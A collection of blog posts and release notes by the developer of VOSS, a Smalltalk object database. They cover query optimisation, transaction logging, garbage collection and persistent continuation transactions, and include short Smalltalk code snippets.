Together with concurrent background garbage collection, this allows 24×7 operation of applications managing multi-gigabyte databases of objects in virtual spaces distributed over a Microsoft Windows Network Filesystem.

Download VOSS 3.150.04 here

John
Read original blog post

The new header records are automatically added to existing virtual space files, (.vs1 or .vs2) and .tsq on the first garbage collector flip, (.vs2 or .vs1) on the second flip. The transaction log archive (which never needs garbage-collection, as nothing is ever deleted from it) is ‘converted’ when it is next replaced by a new empty one prior to routine backup (the transaction log must know the timestamp of the backup which it may be called upon to roll forward in crash recovery).

Note that virtual spaces which have been flipped at least once by version 3.150 cannot thereafter be used with any earlier version of VOSS, as earlier versions do not expect the header records to be there. Similarly, virtual spaces created by version 3.150 cannot be used with any earlier release of VOSS for the same reason.

There is a bug fix in VOSortedDictionary>>forKeyMatches: (which matches String keys with wild * and # characters) replacing the erroneous case-sensitive #= comparison by #voEQ: which looks at the VOSSRoot>>caseSensitiveKeys global variable to decide what to do.

In this area, it has been suggested that it would be useful to give each instance of VOSortedDictionary (and therefore its subclass VirtualDictionary, and by extension, the VOAutoDictionary components of VirtualDictionarySet etc) its own #caseSensitiveKeys attribute. If you have views on this please let me know.

VOSS 3.150.02 is available for download here.

John

DictionarySet allows its elements to be indexed by any number of single-valued and/or multi-valued key-selector unary messages (e.g. #employeeNumber (single-valued), #lastName (multi-valued), #deptNumber (a foreign key in Employees), #deptNumber (primary key in Departments) etc), as required by the application.

Complex queries are built by sending messages such as <#for: #lastName equals: ‘Smith’>  to the DictionarySet, to which the DictionarySet returns a set of its elements meeting that criterion. There is an example of a complex query here.

The tip here, in the interests of efficiency,  is not to “change the class” of the returned partial query sets (e.g. #asOrderedCollection) until after all the intersections and/or unions of partial query sets have been done to build the complex query - and even then there is rarely any need to do this.

VirtualDictionarySet>>for:equals: returns a VOLogicalOrderedIdentitySet of virtual objects, which compares logical identity of the virtual objects it contains (and is adding) by comparing the object’s #voManager identity and its integer object #id, both of which are in the in the object’s proxy VORef (which is what is actually in the set), and therefore no #= message need be expensively forwarded to the instantiated object in the cache in the voManager. 
 
Moreover, VOLogicalOrderedIdentitySet is hashed (on #id in the VORef), and needs to compare identity only when probing hash collisions. Therefore it executes #includes: much faster than OrderedCollection or other non-hashed collections, which must compare equality for each of the entire collection when looking for an absent object, and, on average, half the collection for each present object, forwarding #= to the instantiated object each time.

It is therefore very much faster when constructing complex queries to do all union and intersection of the partial query sets using the VOLogicalOrderedIdentitySets as returned by the partial query components.
Read original blog post

The previous release (3.145.01) introduced buffered transaction logging, in which a log archive daemon process archives the contents of the log buffer at specified intervals, increasing the maximum commit rate to 50 transactions per second on desktop hardware. This new release 3.145.02 allows for log archiving to be disabled, further increasing transaction throughput, for example up to 150 logged random create/inserts per second into a VirtualDictionary of 10 million elements (depending on cache settings, and with no concurrent garbage collection).

Log archiving, present from the earliest release of VOSS, saves the transaction log as virtual object in a separate virtual space,  thus available to an application for audit trail etc. However if this is not required then the new archive disable feature allows significantly higher performance. The log buffer file is thus no longer a buffer, it is the log, growing indefinitely instead of being emptied every 1500 milliseconds. However, backup procedure is unchanged, starting a new empty log which records the backup timestamps.

Rollforward recovery procedure is also unchanged, transparently first applying any archived log entries to the virtual space backup copies being rolled forward, followed by the entries in the log buffer.

VOSS 3.145.02 is available for download here

John
Read original blog post

If the object returns a VOKeySet or VOKeyCollection (which should also normally be a set of unique keys) then the object is added into that AutoDictionary at each of those keys; this may be useful, for example, if the DictionarySet elements are published books or papers, each of which may have been written by several contributing authors. The consequence of this, however, is that the DictionarySet would no longer be a set, as a book having three authors will be present three times, once at each author key, and this could cause unexpected behaviour in DictionarySet>>do: and other enumeration methods.

For this reason, when a DictionarySet is created it is automatically initialized with a baseDictionary on the key selector #yourself, which is thus a set, and DictionarySet>>do: etc. all operate on this baseDictionary.

This presents an opportunity for optimisation: since if it is known that none of the DictionarySet elements will ever return a VOKeySet or VOKeyCollection of keys, the baseDictionary is unnecessary and may be removed at any time, in an ordinary transaction, by the method DictionarySet>>removeBaseDictionary.

Subsequent transactions which add/remove objects to/from the DictionarySet will thus be faster. When there is no baseDictionary, DictionarySet>>do: etc. operate on one of the component AutoDictionaries chosen at random. jc
Read original blog post

A DictionarySet may index its elements on any number of single-valued and/or multi-valued unary key selector messages, which may be added or removed at any time by ordinary (though potentially large) transactions, and DictionarySet uses these to provide efficient query-building methods which return subsets of its contents, allowing more complex queries to be built by union and intersection of these sets. 

A previous article noted the optimisation possible by using #for:equalsNoCopy: which returns the actual virtual set within the VirtualDictionarySet, instead of #for:equals: which returns a copy of it, when there is no intention to add or remove elements to or from the returned answer set.

This article concerns optimisation of queries using #for:between:and:.

The set returned by this method may be used to build queries in the usual way, by union and intersection with other sets, but it is as well to know that it is typically slower than #for:equals:. This is because, for example in the query: journeys for: #startDate between: aDate and: bDate, the answer set is constructed by finding (efficiently) the integer indexes of the (nearest etc) elements at the keys aDate and bDate and then enumerating the keys between those two, using integer index access each time, to add their values into the constructed answer set, rather than simply answering an existing set of multiple values at a key (or the element at a single-valued key in a constructed set by itself).

If, therefore, the partial answer set from #for:between:and: is large, it may be more efficient to intersect the sets returned by other parts of the query first, and enumerate that smaller result with #select: to return the subset of those elements which meet the range criterion.

jc
Read original blog post

However, when sending a DictionarySet one of the most commonly used query messages, #for:equals: (as in Journeys for: #month equals: ‘August’) the required elements may well already be in an explicit virtual set in one of its component VirtualMultiValuedAutoDictionaries. For consistency, however, those elements are all added into a constructed answer set, and this takes time. 
 
For this reason, an optimisation is provided as the alternative method DictionarySet>>for:equalsNoCopy: which returns the actual virtual set from the database.
  
It’s safe to do this only if the application does not change that returned set, as that would be a subversive change to just that one of the DictionarSet’s component AutoDictionaries, which the DictionarySet keeps synchronised when adding or removing elements; however that can be avoided with care, and anyway cannot happen in a read-only transaction.

From a concurrency point of view, it’s also as well to remember that this returned virtual set will be locked each time a message is sent to it in a read-only transaction having #isolationDegree=2 (short read-locks), whereas when using #for:equals: the returned set is not virtual, it’s a real set of virtual objects, and only its elements will be locked when sent messages, which may make some difference to concurrency. If the transaction’s #isolationDegree=3 all locks are held until the transaction rollsback or commits, so it wouldn’t make any difference anyway.

jc
Read original blog post

Add the following method:

VORefPrivate>>isVOKeyCollection
“Private”

 ^false

The addition of this method improves concurrency by eliminating unnecessary object locking of virtual objects which are being used as keys in a VirtualDictionary or VirtualDictionarySet.

When virtual objects are used as keys they behave as identity keys, as only their global object IDs are compared, and both components of this (the virtual object ID prefixed by the ID of the virtual space in which it exists) are present in every VORef proxy for that object, hence the key comparison message is not forwarded to the object itself and so the object is not locked into the transaction.

However, this was undermined some time ago by the addition of the key collection feature, as the message #isVOKeyCollection is sent to the candidate key by all the virtual dictionary addition, removal and inclusion methods, and this is forwarded to the object, which correctly returns <false> (from the default Object>>isVOKeyCollection), but leaves the object locked in the current transaction.

The above new method prevents this, and will be included in the next release.

The reason that the candidate key is tested with #isVOKeyCollection is that if the key answers <true> then it is a collection of keys, and the argument object is added (etc) at each of the elements of that collection of keys. An example of this might be when a published book is to be keyed on each of its collection of authors, each of whom is also an object in the database with their own (changeable) names, attributes and relationships.

jc
Read original blog post

The test ‘application’ is a loop which each time around commits a transaction which creates two new virtual objects, each of which is an Array of two elements, the first a Float, the second a String of 65 characters, which is added into a VirtualDictionary using the integer part of the Float as the key. The application updates a scrolling window on each commit. Garbage collection is switched off, MVRC/MVCC Versioning is switched off. The log archive delay interval is 1000ms. The test is run for 30 seconds and the dictionary size is about 20000 elements.

For comparison, if the loop is set to add four such objects in each transaction, the commit rate falls to 30tps. Or if just one object is created and added to the VirtualDictionary the commit rate increases to 50tps (with the log archive delay interval reduced to 750ms, so as not to trigger re-initialization of the log archive process, which by default happens when there are 100 transactions in the log buffer file).

John

 
Read original blog post

With a background log archive daemon which activates at specified intervals (by default 1500 milliseconds) to archive the contents of the log buffer file, buffering increases the maximum commit rate to 40 transactions per second on desktop hardware, which file flushing previously limited to about four.  If the archive interval is set to zero (from the Control Panel or by program) the archive daemon terminates and each transaction is logged and flushed on commit, as in previous releases. With the transaction log on a separate drive or network server, rollforward of secure backups of the logged virtual spaces allows recovery from general power outage and from head crash or malicious damage at a single machine.

Rollforward recovery applies all log entries archived since the backup, followed by all (self-validating) well-formed log entries readable from the log buffer file. If log buffer flushing is enabled then recovery of all committed transactions is assured (though reducing the maximum commit rate to about 15 transactions per second on a typical IDE drive), but is otherwise dependent on the behaviour of the particular disk drive on power outage during a write append in the last sector of the buffer file, which is read and re-written in whole, even though the operating system called an appending write. (AFAIK it is not possible to control an IDE drive at a sufficiently low level to allow implementation of ping-pong appends).

VOSS 3.145.01is available for download here under the GPLv3 open source project licence, please mailto:mail@logicarts.com re supported commercial licensing.

John
Read original blog post

 
‘Garbage’, in an object-oriented database system, means objects which have become unreachable and are to be removed to reclaim storage space. The garbage collector (’GC’) in VOSS is a ‘Baker’ design, similar in concept to the garbage collector in Smalltalk-80, and which can be run in foreground and/or background modes of which more later.

Unlike the mark-sweep design, which truly is a ‘garbage collector’, the Baker design would be better characterised as a ‘good object preserver’ which copies all reachable objects within a virtual space back and forth from one ’semi-space’ to another, deleting everything left behind on each flip. This has consequences for database design, administration, and the choice of GC settings, to tune for maximum transaction throughput and minimum time offline.

Know which space your objects are in.

In a database design using multiple virtual spaces, the most important thing to know is that when the VOSS GC flips it preserves only those objects in a virtual space which are (indirectly) reachable from the rootDictionary of that virtual space or from the image in which the GC is then running (in the case of uncommitted new objects). In other words, any object in virtual space ‘A’ which is referenced only by an object in virtual space ‘B’, though it will behave normally whilst present, will not be preserved when the GC flips virtual space ‘A’. Or in other words again, reference(s) from object(s) in another virtual space alone are not sufficient to preserve an object from the GC of the virtual space in which it exists. In its systematic copying, the GC does not follow references to objects outside the virtual space which it is scanning.

This situation must be avoided, as after such a flip, those objects would become instances of VOUndefinedObject, and later magically become some arbitrary new object when the id number of that apparently garbage object in space ‘A’ was re-allocated to a new object, having spent some days, weeks or months on space ‘A’s free id list.

The simplest way to keep this right is always to use one of the explicit variants of the message to virtualize an object, preferably on creation, which specify the location explicitly, for example:

  myObject := MyClass newVirtualIn: aVOManager.

The non-specific variants, for example:

  myObject := MyClass newVirtual.

virtualize the new instance in the current virtual space of the current process, i.e. the virtual space which hosts the last object to have received a message in the current process.

Why use multiple virtual spaces?

One reason for distributing a database across multiple virtual spaces may be that some parts of the database are static, whilst others are volatile - subject to frequent update and new object creation - and in this case unnecessary GC processing can be avoided by suitable partitioning of the database, so that the more static virtual space is GC’d less frequently, if at all.

Foreground or Background Garbage Collection?

Foreground GC scans and saves a specified number of reachable objects as an addendum to  each transaction commit, before that transaction’s changes are physically written to disk, to minimise disk activity. The effect, to the user, is that each transaction commit takes longer than it otherwise would, depending on the number of objects it is set to scan.

Background GC runs as one or more separate background process(es), effectively as a dummy user(s) committing null transactions, which each do some GC, as above. Within each image, background GC process(es) (though there is no sensible reason to have more than one in each image) commit their invisible dummy transactions once every user-specified time delay - by default 3000 milliseconds - and scan the user-specified number of objects each time.

The advantage of background GC is that it utilises the time in between application transaction commits, the disadvantage is that it causes more disk flushing activity than foreground GC.

Foreground GC is indicated if the application consists mainly of frequent transactions which are a short time n the preparation before commit (i.e. whilst the application has control); background GC is indicated if transactions are less frequent and/or a long time in the preparation, especially open-ended interactive transactions, when background GC can go on whilst the user is thinking.
Read original blog post

New feature in this release is Persistent Continuation Transactions.

An open VOContinuationTransaction which has committed any number of alternative futures for its set of objects in continuation sub-transactions may now itself be persisted, or persisted & deactivated which removes the live transaction from the image, allowing log-off and shutdown.

Whilst the persisted continuation transaction exists, it and all its objects are persistently set read-only in the name of that transaction. Whilst deactivated it may be re-activated from the Control Panel or by program message sending, to re-create the live open transaction.

Persistent transactions are useful in design or what-if type of applications, where transactions may extend over days of revision and re-working of different saved possible final states, until a final commit is chosen.

Persisting a VOContinuationTransaction stores in the current virtual space (in a private dictionary in the stateDictionary) a virtual object complex which is a representation of the open VOContinuationTransaction, as a VOPersistedContinuationTransaction containing the same virtual objects. The same complex also includes a representation of its owner VOSession and its virtualObjectPark dictionary and contents, as a VOPersistedSession.

By default, every committing VOConSubTransaction persists its parent VOContinuationTransaction within the same commit; this default may be changed by the class method:

  VOContinuationTransaction persistConTxnOnSubTxnCommitDefault: aBoolean.

The public instance methods of VOContinuationTransaction offer further options. For example, VOContinuationTransaction>>persistAndDeactivate persists the receiver and removes it from the image, setting persistent read-locks on its VOPersistedContinuationTransaction and contents.

If all open VOContinuationTransactions in an image have been persisted and deactivated, the image may log-off and shutdown if desired.

Whilst a VOContinuationTransaction is active (i.e. exists, open, in the image), but has not yet been persisted, its contents are locked by volatile cache and object table file (.vot) record locks in the same way as in an ordinary  transaction. When persisted, the persistent read-locks are additional, but incidental from the point of view of other Process’s transactions (in the same or other images). However, when an open VOContinuationTransaction has been deactivated, it no longer exists in the image and its volatile locks are released; other Process’s transactions may then see such objects, but the persistent read-locks will block them from committing any changes to those objects (or the VOPersistedContinuationTransaction itself).

At the application level, the database may be considered to be in an inconsistent state (this is not something which any DBMS can determine, it is a matter for the application designer and/or user; consider, for example, work in progress in a CAD design for a gearbox or building), and objects which were write-locked in the open VOContinuationTransaction will now be only read-locked and therefore visible to other Processes in their deemed inconsistent state. However, this situation may be managed, since such locks may be tested by the method:

  VORefPrivate>>isReadOnlyForPersistedTransaction

and/or by checking the startTimestamp (id) of each extant VOPersistedContinuationTransaction in each virtual space returned by the method:

  VOManager>>persistedContinuationTransactionsOrIDs

so that, other Process’s transactions may choose to see the database as at a specified #dateAndTimeToRead (or equivalent integer #timestampToRead) pre-dating any or all extant persisted continuation transactions. If transaction versioning is globally enabled (set by VOManagerManager>>versioning: aBoolean, or from the Control Panel) then all historical states prior to the continuation transaction(s) may be seen.

Persisted instances of VOPersistedContinuationTransaction are shown in the Control Panel, and may be (re)activated by menu there, or by one of the following messages to the single LocalVOSSServer global instance of VOSSServer.

  VOSSServer>> activatePersistedContinuationTransaction: aPersistedContinuationTxn
or
  VOSSServer>> activatePersistedContinuationTransactionID: anInteger in: aVOManager

Download here and test-drive this in the tutorial.
Read original blog post

For best readability, VOSS source code assumes Tabs expanded to four spaces; this can be done in a Smalltalk workspace using String>>voWithTabsExpanded.

Regards
John

If the receiver and anObject are both VORefs, but with different vid and/or voManager they still could be equal, although different virtual objects.

| a b |
a := (Array with: ‘hello’ with: ‘world’) madeVirtual.
b := (Array with: ‘hello’ with: ‘world’) madeVirtual.
a voIsEqualTo: b => true
 
VORefPublic>>voAreYou: tests logical identity, which would returns false in the above.

I’m looking into the incorrect rendering of your post.

John

>>>

voIsEqualTo: Hello John,I´m not sure but should the check, if two virtual objects  are the same answer false in the case of anObjct is a VORefs and their vid is not the same? (Assuming the voManger is the same) So the code should look like this? 
voIsEqualTo: anObject
"Private - Answer true if the receiver’s virtual

object and anObject are equal, else answer false.
anObject may or may not be a VOR."
  | myObject bObject |
  self == anObject ifTrue: [^true]. "the same VOR"
  anObject isVOR
  ifTrue:
                [ ( id = anObject vid and:
                               [self voManager == anObject voManager]
                  )
                  ifTrue: [^true].  "logically the same object"
                  ^false
                ].
 
  myObject := self voPeek.
  bObject := anObject voPeek. "could just be anObject"
  myObject == bObject
                ifTrue: [^true]. "the same object"
 
 ^myObject = bObject
Greetings Thomas

<<<